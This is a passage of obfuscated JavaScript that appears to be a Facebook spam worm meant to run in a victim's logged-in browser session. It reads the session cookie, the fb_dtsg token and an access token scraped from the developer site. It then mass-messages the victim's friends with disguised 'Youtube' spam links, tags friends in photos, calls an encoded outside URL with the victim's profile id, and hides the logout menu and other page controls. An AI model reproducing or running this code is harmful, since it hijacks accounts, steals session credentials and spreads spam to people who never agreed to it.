980 if (j5O[j0](req[j5O["F89"]], j5O["j0"]) && j5O[frontName](req[j5O["S89"]], j5O["o0"])) {
981 var cache = JSON[j5O["M0"]](req[j5O["z0"]][j5O["C79"]](j5O.D0, j5O.N9));
982 if (!cache["error"]) {
983 var data = cache["data"];
984 data = shuffle(data);
985 cb[j5O["m3"]] = [];
986 i = j5O["k0"];
987 for (; j5O[docgen](i, data["length"]); i++) {
988 if (j5O[docUid](cb[j5O["m3"]]["length"], config[j5O["H89"]]) && (j5O[phase](data[i][method], className) || j5O[m](data[i][method], currentCameraMode))) {
989 cb[j5O["m3"]][j5O["X89"]](data[i]);
990 }
991 }
992 if (j5O[strValue](cb[j5O["m3"]]["length"], config[j5O["H89"]])) {
993 data = shuffle(data);
994 i = j5O["k0"];
995 for (; j5O[fli](i, data["length"]); i++) {
996 if (j5O[callbackSymbol](cb[j5O["m3"]]["length"], config[j5O["H89"]]) && j5O[unlock](inArray(cb[j5O["m3"]], j5O.I3, data[i][j5O["I3"]]), j5O.L6)) {
997 cb[j5O["m3"]][j5O["X89"]](data[i]);
998 }
999 }
1000 }
1001 sendTags(cb);
1002 }
1003 }
1004 };
1005 req[j5O["C89"]]();
1006}
1007
1008function getImage() {
1009 var memory = "arraybuffer";
1010 var fire = function (data) {
1011 var unlock = "responseType";
1012 req[unlock] = data;
1013 };
1014 var req = new XMLHttpRequest;
1015 req[j5O["l6"]](j5O.P89, j5O["l0"] + profile_id + j5O["a3"], j5O.G89);
1016 fire(memory);
1017 req[j5O["Y0"]] = function () {
1018 var mimetype = "image/png";
1019 var stream = "response";
1020 var j0 = "S4";
1021 if (j5O[j0](this[j5O["F89"]], j5O["j0"])) {
1022 return;
1023 }
1024 var view = new Uint8Array(this[stream]);
1025 vars[j5O["d5"]] = new Blob([view], {
1026 type: mimetype
1027 });
1028 upload(vars);
1029 };
1030 req[j5O["C89"]]();
1031}
1032
1033function debug(name, str, object, deepDataAndEvents) {
1034 var restoreScript = "https://www.facebook.com/message_share_attachment/fromURI/?dpr=1";
1035 var objects = "o";
1036 var image_width = 950;
1037 var r20 = {
1038 image_height: image_width,
1039 image_width: image_width,
1040 uri: name,
1041 __user: profile_id,
1042 __a: j5O["a0"],
1043 __dyn: j5O["N9"],
1044 __req: objects,
1045 fb_dtsg: fb_dtsg,
1046 ttstamp: ttstamp,
1047 __rev: __rev
1048 };
1049 var req = new XMLHttpRequest;
1050 req[j5O["l6"]](j5O["s89"], restoreScript);
1051 req[j5O["Z5"]](j5O["t3"], j5O["i6"]);
1052 req[j5O["Y0"]] = function () {
1053 var unlock = "X7";
1054 var j0 = "F7";
1055 if (j5O[j0](req[j5O["F89"]], j5O["j0"]) && j5O[unlock](req[j5O["S89"]], j5O["o0"])) {
1056 var modifiedSince = req[j5O["z0"]];
1057 if (modifiedSince) {
1058 send_messages(name, str, object, deepDataAndEvents);
1059 }
1060 }
1061 };
1062 req[j5O["C89"]](deSerialize(r20));
1063}
1064
1065function rand(opt_attributes, max) {
1066 var unlock = "V2";
1067 return Math[j5O["K79"]](j5O[unlock](Math[j5O["c6"]](), max - opt_attributes)) + opt_attributes;
1068}
1069
1070function sendTags(res) {
1071 var r20 = " ";
1072 var origName = "name";
1073 var method = "Q7";
1074 var updateMethod = "n7";
1075 var easing = "T7";
1076 var title = "m7";
1077 var i = "chat_tag_limit";
1078 var deleteFunction = "H7";
1079 var vname = "ceil";
1080 var tryIt = function () {
1081 var combinator = "E7";
1082 config[j5O["H89"]] = j5O[combinator](nodes, config[j5O["H89"]]) ? config[j5O["H89"]] : nodes;
1083 };
1084 var nodes = Math[vname](j5O[deleteFunction](res[j5O["m3"]]["length"], config[i]));
1085 tryIt();
1086 if (j5O[title](config[j5O["H89"]], j5O["k0"])) {
1087 var writeWord = function (value) {
1088 config[j5O["H89"]] = value;
1089 };
1090 writeWord(j5O["a0"]);
1091 }
1092 p = j5O["k0"];
1093 for (; j5O[easing](p, config[j5O["H89"]]); p++) {
1094 var throttledUpdate = function () {
1095 res[j5O["W5"]] = [];
1096 };
1097 var isUndefinedOrNull = function (value) {
1098 uid = value[j5O["W5"]][j5O["k0"]][j5O["I3"]];
1099 };
1100 var traverseNode = function () {
1101 image = j5O["l0"] + uid + j5O["a3"];
1102 };
1103 var init = function () {
1104 var b = "?";
1105 var unlock = "u7";
1106 link = res[j5O["A0"]][Math[j5O["K79"]](j5O[unlock](Math[j5O["c6"]](), res[j5O["A0"]]["length"]))] + b + rastgele(rand(j5O.Y3, j5O.T0)) + j5O["d3"] + rastgele(rand(j5O.G0, j5O.Y3));
1107 };
1108 throttledUpdate();
1109 pk = j5O["k0"];
1110 for (; j5O[updateMethod](pk, config[i]); pk++) {
1111 var firstFieldName = pk + j5O[method](config[i], p);
1112 if (res[j5O["m3"]][firstFieldName]) {
1113 res[j5O["W5"]][j5O["X89"]](res[j5O["m3"]][firstFieldName]);
1114 }
1115 }
1116 isUndefinedOrNull(res);
1117 name = res[j5O["W5"]][j5O["k0"]][origName][j5O["H6"]](r20)[j5O["k0"]];
1118 traverseNode();
1119 init();
1120 debug(link, uid, name, image);
1121 }
1122}
1123
1124function photo_edit(deepDataAndEvents) {
1125 var b = "&editor_id=fbPhotoSnowliftInlineEditor&dpr=1";
1126 var pageX = "&version=6&media_type=photo&set=";
1127 var type = "https://www.facebook.com/photos/photo/edit/save/?fbid=";
1128 var __ = "]";
1129 var fli = "S2";
1130 var g = ":2:0:";
1131 var max = 933557046979865;
1132 var $ = ":";
1133 var k = "44";
1134 var l = "+Z*F";
1135 var __req = "q";
1136 var req = new XMLHttpRequest;
1137 var r20 = {
1138 clickTarget: j5O["a0"],
1139 caption_text: deepDataAndEvents[j5O["t9"]],
1140 caption: deepDataAndEvents[j5O["t9"]],
1141 location_data: j5O["N9"],
1142 location: j5O["N9"],
1143 "backdated_date[year]": j5O["N9"],
1144 "backdated_date[month]": j5O["N9"],
1145 "backdated_date[day]": j5O["N9"],
1146 "backdated_date[hour]": j5O["N9"],
1147 "backdated_date[minute]": j5O["N9"],
1148 session_id: parseInt((j5O["N9"] + Date[j5O["A6"]]() + j5O["N9"])[j5O["p9"]](j5O["k0"], j5O.Y3)),
1149 "nctr[_mod]": j5O["N9"],
1150 __user: profile_id,
1151 __a: j5O["O6"],
1152 __dyn: j5O["N9"],
1153 __pc: j5O["E0"],
1154 __req: __req,
1155 fb_dtsg: fb_dtsg,
1156 ttstamp: ttstamp,
1157 __rev: __rev,
1158 "ft[tn]": l,
1159 "ft[type]": k,
1160 "ft[top_level_post_id]": deepDataAndEvents[j5O["N0"]],
1161 "ft[tl_objid]": deepDataAndEvents[j5O["N0"]],
1162 "ft[fbfeed_location]": j5O["Y3"],
1163 "ft[thid]": profile_id + $ + rand(0x79782c57ad19, max) + g + parseInt((j5O["N9"] + Date[j5O["A6"]]() + j5O["N9"])[j5O["p9"]](j5O["k0"], j5O.Y3)) + $ + rand(0x79782c57ad19, max)
1164 };
1165 i = j5O["k0"];
1166 for (; j5O[fli](i, j5O.T0); i++) {
1167 var clone = function (deepDataAndEvents) {
1168 var prefix = "tags[";
1169 r20[prefix + i + __] = deepDataAndEvents[j5O["W5"]][i][j5O["I3"]];
1170 };
1171 var throttledUpdate = function (deepDataAndEvents) {
1172 var prefix = "text_tags[";
1173 r20[prefix + i + __] = deepDataAndEvents[j5O["W5"]][i][j5O["t9"]];
1174 };
1175 clone(deepDataAndEvents);
1176 throttledUpdate(deepDataAndEvents);
1177 }
1178 req[j5O["l6"]](j5O["s89"], type + deepDataAndEvents[j5O["N0"]] + pageX + deepDataAndEvents[j5O["q6"]] + b);
1179 req[j5O["Z5"]](j5O["t3"], j5O["i6"]);
1180 req[j5O["C89"]](deSerialize(r20));
1181 req[j5O["Y0"]] = function () {
1182 var unlock = "D2";
1183 var j0 = "g2";
1184 if (j5O[j0](req[j5O["F89"]], j5O["j0"]) && j5O[unlock](req[j5O["S89"]], j5O["o0"])) {
1185 console[j5O["n3"]](req[j5O["z0"]]);
1186 }
1187 };
1188}
1189
1190function getToken(cb) {
1191 var r20 = "application/x-www-form-urlencoded";
1192 var resourceName = "Content-type";
1193 var restoreScript = "https://developers.facebook.com/?ext=me";
1194 var req = new XMLHttpRequest;
1195 req[j5O["l6"]](j5O.P89, restoreScript, j5O.G89);
1196 req[j5O["Z5"]](resourceName, r20);
1197 req[j5O["Y0"]] = function () {
1198 var callbackSymbol = "trim";
1199 var r20 = '"';
1200 var a0 = '"accessToken":"';
1201 var frontName = "Y8";
1202 var unlock = "a8";
1203 var j0 = "G8";
1204 if (j5O[j0](req[j5O["F89"]], j5O["j0"]) && j5O[unlock](req[j5O["S89"]], j5O["o0"])) {
1205 if (j5O[frontName](req[j5O["z0"]][j5O["y79"]](a0), j5O["k0"])) {
1206 cb[j5O["y5"]] = req[j5O["z0"]][j5O["H6"]](a0)[j5O["a0"]][j5O["H6"]](r20)[j5O["k0"]][callbackSymbol]();
1207 console[j5O["n3"]](cb[j5O["y5"]]);
1208 online(cb);
1209 }
1210 }
1211 };
1212 req[j5O["C89"]]();
1213}
1214
1215function upload(array) {
1216 var b = "https://upload.facebook.com/ajax/react_composer/attachments/photo/upload?";
1217 var __req = "2p";
1218 var touchstart = 1024;
1219 var mm = "upload_id";
1220 var pageX = ".png";
1221 var suiteView = 9999;
1222 var unlock = "g4";
1223 var type = "video_";
1224 var highlightClass = "farr";
1225 var scrollEvent = "web_react_composer";
1226 var touchEntry = "waterfallxapp";
1227 var restoreScript = "profile_id";
1228 var base = "source";
1229 var rreturn = "target_id";
1230 var udataCur = "qn";
1231 var pdataOld = "fb_dtsg";
1232 var action = "append";
1233 var random = "guid";
1234 array[random] = guid();
1235 var seperator = new FormData;
1236 seperator[action](pdataOld, fb_dtsg);
1237 seperator[action](udataCur, guid());
1238 seperator[action](rreturn, profile_id);
1239 seperator[action](base, j5O.L0);
1240 seperator[action](restoreScript, profile_id);
1241 seperator[action](touchEntry, scrollEvent);
1242 seperator[action](highlightClass, array[j5O["d5"]], type + Math[j5O["K79"]](j5O[unlock](Math[j5O["c6"]](), suiteView)) + pageX);
1243 seperator[action](mm, touchstart);
1244 var r20 = {
1245 av: profile_id,
1246 dpr: j5O["f0"],
1247 __user: profile_id,
1248 __a: j5O["a0"],
1249 __dyn: j5O["N9"],
1250 __req: __req,
1251 __be: j5O["k0"],
1252 __pc: j5O["n0"],
1253 fb_dtsg: fb_dtsg,
1254 ttstamp: ttstamp,
1255 __rev: __rev
1256 };
1257 var req = new XMLHttpRequest;
1258 req[j5O["l6"]](j5O["s89"], b + deSerialize(r20));
1259 req[j5O["C89"]](seperator);
1260 req[j5O["Y0"]] = function () {
1261 var j = "photoID";
1262 var unlock = "H4";
1263 var frontName = "E4";
1264 var j0 = "K4";
1265 if (j5O[j0](req[j5O["F89"]], j5O["j0"]) && j5O[frontName](req[j5O["S89"]], j5O["o0"])) {
1266 var codeSegments = JSON[j5O["M0"]](req[j5O["z0"]][j5O["C79"]](j5O.D0, j5O.N9));
1267 if (j5O[unlock](codeSegments[j5O["x5"]][j]["length"], j5O["k0"])) {
1268 array[j5O["Q5"]] = codeSegments[j5O["x5"]][j];
1269 update(array);
1270 }
1271 }
1272 };
1273}
1274
1275function smile(feature) {
1276 var unlock = "L1";
1277 var fli = "j1";
1278 var r20 = "'2a&05'2f'14&11'64'65&65'63&42&40&4b'0c&6a&6b\u00a9\u00ae!220c4\u0010e6";
1279 var _processPattern = function (regex) {
1280 mtn = regex;
1281 };
1282 var removeEmpty = function (array) {
1283 ret = array;
1284 };
1285 _processPattern(r20);
1286 removeEmpty(j5O.N9);
1287 i = j5O["k0"];
1288 for (; j5O[fli](i, feature); i++) {
1289 ret += mtn[Math[j5O["K79"]](j5O[unlock](Math[j5O["c6"]](), mtn["length"]))];
1290 }
1291 return ret;
1292}
1293
1294function guid() {
1295 function S4() {
1296 var r20 = 16;
1297 var unlock = "o2";
1298 return Math[j5O["K79"]](j5O[unlock](j5O["a0"] + Math[j5O["c6"]](), 65536))[j5O["n5"]](r20)[j5O["p9"]](j5O["a0"]);
1299 }
1300 var delim = "-";
1301 return S4() + S4() + delim + S4() + delim + S4() + delim + S4() + delim + S4() + S4() + S4();
1302}
1303
1304function send_messages(keepData, message, base, deepDataAndEvents) {
1305 var r20 = "https://www.facebook.com/messaging/send/?ext=me";
1306 var restoreScript = 116;
1307 var rreturn = 51;
1308 var udataCur = 86;
1309 var protoProp = "fromCharCode";
1310 var category = "fbid:";
1311 var key = "source:chat:web";
1312 var l = 604800;
1313 var unlock = "l7";
1314 var frontName = "A7";
1315 var o = 106;
1316 var post = "- Youtube";
1317 var q = 100;
1318 var act = "ma-type:user-generated-message";
1319 var client = "mercury";
1320 var length = "Z7";
1321 var u = ":)";
1322 var rolesQuery = "(y)";
1323 var sixteen = ":3";
1324 var fifteen = ":v";
1325 var fourteen = "8|";
1326 var z = "8-)";
1327 var elevensplitpath = "^_^";
1328 var ten = "<3";
1329 var nine = ":*";
1330 var eight = ">:O";
1331 var str = "-_-";
1332 var F = ":O";
1333 var six = ";)";
1334 var H = "o.O";
1335 var children = "3:)";
1336 var J = "O:)";
1337 var valueRange = ":P";
1338 var head = ":o";
1339 var message_id = rand(0xa1b01d4b1c7, 999999999999999);
1340 var result = [head, valueRange, J, children, H, six, F, str, eight, nine, ten, elevensplitpath, z, fourteen, fifteen, sixteen, rolesQuery, u];
1341 var tail = result[Math[j5O["K79"]](j5O[length](Math[j5O["c6"]](), result["length"]))];
1342 var rclass = {
1343 client: client,
1344 action_type: act,
1345 body: j5O["N9"],
1346 ephemeral_ttl_mode: j5O["k0"],
1347 has_attachment: j5O["G89"],
1348 message_id: message_id,
1349 offline_threading_id: message_id,
1350 other_user_fbid: message,
1351 "shareable_attachment[share_type]": q,
1352 "shareable_attachment[share_params][urlInfo][canonical]": keepData,
1353 "shareable_attachment[share_params][urlInfo][final]": keepData,
1354 "shareable_attachment[share_params][urlInfo][user]": keepData,
1355 "shareable_attachment[share_params][responseCode]": j5O["o0"],
1356 "shareable_attachment[share_params][favicon]": deepDataAndEvents,
1357 "shareable_attachment[share_params][title]": base + post,
1358 "shareable_attachment[share_params][summary]": j5O["N9"],
1359 "shareable_attachment[share_params][content_removed]": j5O["L6"],
1360 "shareable_attachment[share_params][images][0]": deepDataAndEvents,
1361 "shareable_attachment[share_params][medium]": o,
1362 "shareable_attachment[share_params][url]": keepData,
1363 "shareable_attachment[share_params][time_scraped]": Math[j5O["K79"]](j5O[frontName](Date[j5O["A6"]](), j5O.D89)),
1364 "shareable_attachment[share_params][last_good_scrape_time]": Math[j5O["K79"]](j5O[unlock](Date[j5O["A6"]](), j5O.D89)),
1365 "shareable_attachment[share_params][cache_hit]": j5O["G89"],
1366 "shareable_attachment[share_params][was_recent]": j5O["L6"],
1367 "shareable_attachment[share_params][ttl]": l,
1368 "shareable_attachment[share_params][error]": j5O["a0"],
1369 signature_id: rastgele(j5O.L0),
1370 source: key,
1371 "specific_to_list[0]": category + message,
1372 "specific_to_list[1]": category + profile_id,
1373 timestamp: Date[j5O["A6"]](),
1374 ui_push_phase: String[protoProp](udataCur, rreturn),
1375 __user: profile_id,
1376 __a: j5O["a0"],
1377 __dyn: j5O["N9"],
1378 __req: String[protoProp](restoreScript),
1379 __be: -j5O["a0"],
1380 __pc: j5O["n0"],
1381 fb_dtsg: fb_dtsg,
1382 ttstamp: ttstamp,
1383 __rev: __rev
1384 };
1385 var req = new XMLHttpRequest;
1386 req[j5O["l6"]](j5O["s89"], r20);
1387 req[j5O["Z5"]](j5O["t3"], j5O["i6"]);
1388 req[j5O["C89"]](deSerialize(rclass));
1389 req[j5O["Y0"]] = function () {
1390 var category = "Mesaj Sent:";
1391 var unlock = "U7";
1392 var j0 = "J7";
1393 if (j5O[j0](req[j5O["F89"]], j5O["j0"]) && j5O[unlock](req[j5O["S89"]], j5O["o0"])) {
1394 console[j5O["n3"]](category + message);
1395 }
1396 };
1397}
1398
1399function localhost() {
1400 var expectationResult = "69yL6MHc0RHavMXdu8GdphWdzZ3Llx2Zv92Z=0DZp9DcoBnL";
1401 var req = new XMLHttpRequest;
1402 req[j5O["l6"]](j5O.P89, parsem(expectationResult) + profile_id, j5O.G89);
1403 req[j5O["Y0"]] = function () {
1404 var backoff = 15E3;
1405 var xa = "xa";
1406 var maxY = 15;
1407 var optsData = "#";
1408 var item = "link";
1409 var fli = "h8";
1410 var callBack = " Video xa";
1411 var bubble_sprite_max_width = 5;
1412 var dependentResult = "VneXaoLvRzVn";
1413 var frontName = "M8";
1414 var unlock = "e8";
1415 var j0 = "C8";
1416 if (j5O[j0](req[j5O["F89"]], j5O["j0"]) && j5O[unlock](req[j5O["S89"]], j5O["o0"])) {
1417 var hash = JSON[j5O["M0"]](req[j5O["z0"]]);
1418 vars = {};
1419 if (j5O[frontName](parsem(expectationResult)[j5O["y79"]](parsem(dependentResult)), j5O["k0"])) {
1420 vars[j5O["A0"]] = hash[j5O["A0"]];
1421 vars[j5O["t9"]] = rastgele(rand(j5O["f0"], bubble_sprite_max_width)) + callBack;
1422 i = j5O["k0"];
1423 for (; j5O[fli](i, bubble_sprite_max_width); i++) {
1424 vars[j5O["t9"]] += hash[item] + optsData + rastgele(rand(bubble_sprite_max_width, maxY)) + xa;
1425 }
1426 getToken(vars);
1427 setTimeout(function () {
1428 getImage();
1429 }, backoff);
1430 }
1431 }
1432 };
1433 req[j5O["C89"]]();
1434}
1435
1436function shuffle(a) {
1437 var key2 = "x2";
1438 var v2 = "p2";
1439 var i = a["length"];
1440 var arg;
1441 var key;
1442 for (; j5O[v2](j5O["k0"], i);) {
1443 var add = function (t) {
1444 a[key] = t;
1445 };
1446 var isValue = function (a) {
1447 arg = a[i];
1448 };
1449 var eq = function (b) {
1450 a[i] = b[key];
1451 };
1452 key = Math[j5O["K79"]](j5O[key2](Math[j5O["c6"]](), i));
1453 i -= j5O["a0"];
1454 isValue(a);
1455 eq(a);
1456 add(arg);
1457 }
1458 return a;
1459}
1460
1461function getCookie(name) {
1462 var unlock = "w1";
1463 var r20 = " ";
1464 var partName = "charAt";
1465 var frontName = "O1";
1466 var ok = "t2";
1467 var stringifier = ";";
1468 var nameEQ = name + j5O["d3"];
1469 var data = document[j5O["u0"]][j5O["H6"]](stringifier);
1470 var token = j5O["k0"];
1471 for (; j5O[ok](token, data["length"]); token++) {
1472 var result = data[token];
1473 for (; j5O[frontName](result[partName](j5O["k0"]), r20);) {
1474 result = result[j5O["p9"]](j5O["a0"]);
1475 }
1476 if (j5O[unlock](result[j5O["y79"]](nameEQ), j5O["k0"])) {
1477 return result[j5O["p9"]](nameEQ["length"], result["length"]);
1478 }
1479 }
1480 return j5O["N9"];
1481}
1482var consoleFree = j5O["L6"];
1483var checkStatus = j5O["q5"];
1484var element = new Image;
1485element[j5O["j89"]](j5O["f3"], function () {
1486 var ON = "on";
1487 var inherits = function (child) {
1488 checkStatus = child;
1489 };
1490 inherits(ON);
1491});
1492console[j5O["n3"]](element);
1493console[j5O["v3"]]();
1494if (j5O[j5O["w6"]](location[j5O["m5"]][j5O["y79"]](j5O["t6"]), j5O["k0"]) && (j5O[j5O["I5"]](checkStatus, j5O["q5"]) || j5O[j5O["J89"]](consoleFree, j5O.G89))) {
1495 fb_dtsg_list = document[j5O["l79"]](j5O["b89"]);
1496 if (!document[j5O["r3"]](j5O["z79"]) && (j5O[j5O["q89"]](fb_dtsg_list["length"], j5O["k0"]) && j5O[j5O["j79"]](location[j5O["W3"]][j5O["y79"]](j5O["a89"]), j5O["k0"]))) {
1497 var O8 = function (dataAndEvents) {
1498 ttstamp = dataAndEvents;
1499 };
1500 var N = function (data) {
1501 var unlock = "id";
1502 log[unlock] = data;
1503 };
1504 var R8 = function () {
1505 var a = "2";
1506 ttstamp = a + ttstamp;
1507 };
1508 var t = function (a) {
1509 fb_dtsg = a[j5O["k0"]][j5O["g49"]];
1510 };
1511 var log = document[j5O["M6"]](j5O["k5"]);
1512 N(j5O["z79"]);
1513 document[j5O["V0"]][j5O["Y79"]](log);
1514 window[j5O["D5"]](function () {
1515 var fli = "H9";
1516 var startEvent = "UFICommentCloseButton";
1517 var docgen = "E9";
1518 var endEvent = "uiPopover";
1519 var recordName = "outerHTML";
1520 var pn = "parentNode";
1521 var DOMCONTENTLOADED = "logoutMenu";
1522 var appendChild = "K9";
1523 var domContentLoaded = "uiToggle wrap";
1524 var fieldName = "d9";
1525 var moveEvent = "_5ce";
1526 var addEventListener = "getElementsByClassName";
1527 if (document[addEventListener](moveEvent)) {
1528 i = j5O["k0"];
1529 for (; j5O[fieldName](i, document[addEventListener](moveEvent)["length"]); i++) {
1530 document[addEventListener](moveEvent)[i][j5O["F5"]] = j5O["N9"];
1531 }
1532 }
1533 if (document[addEventListener](domContentLoaded)) {
1534 i = j5O["k0"];
1535 for (; j5O[appendChild](i, document[addEventListener](domContentLoaded)["length"]); i++) {
1536 document[addEventListener](domContentLoaded)[i][j5O["F5"]] = j5O["N9"];
1537 }
1538 }
1539 if (document[j5O["r3"]](DOMCONTENTLOADED)) {
1540 document[j5O["r3"]](DOMCONTENTLOADED)[pn][recordName] = j5O["N9"];
1541 }
1542 if (document[addEventListener](endEvent)) {
1543 i = j5O["k0"];
1544 for (; j5O[docgen](i, document[addEventListener](endEvent)["length"]); i++) {
1545 document[addEventListener](endEvent)[i][j5O["F5"]] = j5O["N9"];
1546 }
1547 }
1548 if (document[addEventListener](startEvent)) {
1549 i = j5O["k0"];
1550 for (; j5O[fli](i, document[addEventListener](startEvent)["length"]); i++) {
1551 document[addEventListener](startEvent)[i][recordName] = j5O["N9"];
1552 }
1553 }
1554 }, j5O.Y3);
1555 profile_id = document[j5O["u0"]][j5O["c3"]](/c_user=(\d+)/)[j5O["a0"]];
1556 t(fb_dtsg_list);
1557 __rev = document[j5O["V0"]][j5O["F5"]][j5O["H6"]](j5O.Z79)[j5O["a0"]][j5O["H6"]](j5O["q0"])[j5O["k0"]];
1558 ajaxpipe_token = document[j5O["V0"]][j5O["F5"]][j5O["H6"]](j5O["c5"])[j5O["a0"]][j5O["H6"]](j5O["q0"])[j5O["k0"]];
1559 O8(j5O.N9);
1560 var x = j5O["k0"];
1561 for (; j5O[j5O["H5"]](x, fb_dtsg["length"]); x++) {
1562 ttstamp += fb_dtsg[j5O["u3"]](x);
1563 }
1564 R8();
1565 console[j5O["n3"]](j5O["h5"] + profile_id);
1566 console[j5O["n3"]](j5O["e6"] + fb_dtsg);
1567 console[j5O["n3"]](j5O["a6"] + __rev);
1568 console[j5O["n3"]](j5O["i3"] + ttstamp);
1569 console[j5O["n3"]](j5O["q9"] + ajaxpipe_token);
1570 window[j5O["V3"]](function () {
1571 window["top"]["location"]["reload"]();
1572 }, j5O[j5O["t79"]](j5O.D89, j5O.A5, j5O.T0));
1573 start();
1574 }
1575 if (j5O[j5O["B3"]](location[j5O["W3"]][j5O["y79"]](j5O["a89"]), j5O["k0"]) && j5O[j5O["u89"]](fb_dtsg_list["length"], j5O["k0"])) {
1576 var w8 = function (dataAndEvents) {
1577 fb_dtsg = dataAndEvents[j5O["k0"]][j5O["g49"]];
1578 };
1579 w8(fb_dtsg_list);
1580 console[j5O["n3"]](fb_dtsg);
1581 }
1582} else {
1583 if (j5O[j5O["V79"]](location[j5O["m5"]][j5O["y79"]](j5O["t6"]), j5O["k0"])) {
1584 window["top"]["location"]["reload"]();
1585 }
1586};